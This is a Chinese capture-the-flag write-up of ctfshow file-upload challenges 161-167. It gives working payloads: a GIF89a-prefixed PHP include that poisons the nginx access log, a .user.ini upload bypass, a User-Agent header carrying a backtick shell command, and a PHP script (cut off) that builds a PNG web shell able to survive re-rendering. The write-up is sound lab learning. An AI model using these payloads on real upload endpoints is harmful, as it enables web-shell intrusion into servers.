ctfshow 文件上传161-167

151-160： https://blog.youkuaiyun.com/qq_52671379/article/details/123977585

web161（关键字过滤，日志包含）

过滤了大部分关键字
可以利用日志包含绕过，图片内容
3duan.png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过
添加了文件头的检查，所以加入内容GIF89a绕过
思路：
.user.ini配置文件的利用
日志包含绕过
过滤system，反引号代替shell执行
步骤
先上传.user.ini.png文件（因为png为合法文件，之后抓包之后再修改文件名为.user.ini.）
然后再上传shell文件3duan.png
抓包修改ua头信息

User-Agent: <?=`tac ../f*` ?>

访问/upload/index.php即可得到flag

web162 163(条件竞争)

没做出来，还在看

web164(PNG图片二次渲染绕过)

PNG图片二次渲染配合文件包含漏洞原理：
将一句话木马插入到网站二次处理后的图片中，也就是把一句话插入图片在二次渲染后会保留的那部分数据里，确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话，在配合文件包含漏洞获取webshell。
直接在图片中插入一句话会被删除掉，二次渲染会把上传到服务器的图片的代码改变，
利用脚本构造出一个png木马图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   
   
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round(